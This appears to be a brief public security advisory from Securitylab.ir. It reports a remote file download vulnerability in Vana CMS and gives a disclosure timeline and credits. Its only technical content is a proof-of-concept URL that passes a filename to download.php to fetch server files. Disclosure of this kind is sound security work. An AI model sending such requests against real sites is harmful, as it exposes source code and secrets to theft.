################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Vana CMS # Vendor: http://www.vanasoft.com ################################################################# # Vulnerability Info: # Type: Remote File Download # Risk: Medium # 2009-10-23 - Found Vulnerability # 2010-04-09 - Vendor notified # 2010-04-11 - Public disclosure ################################################################# Vulnerability: http://site.com/download.php?filename=File.php ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com ###################################################################
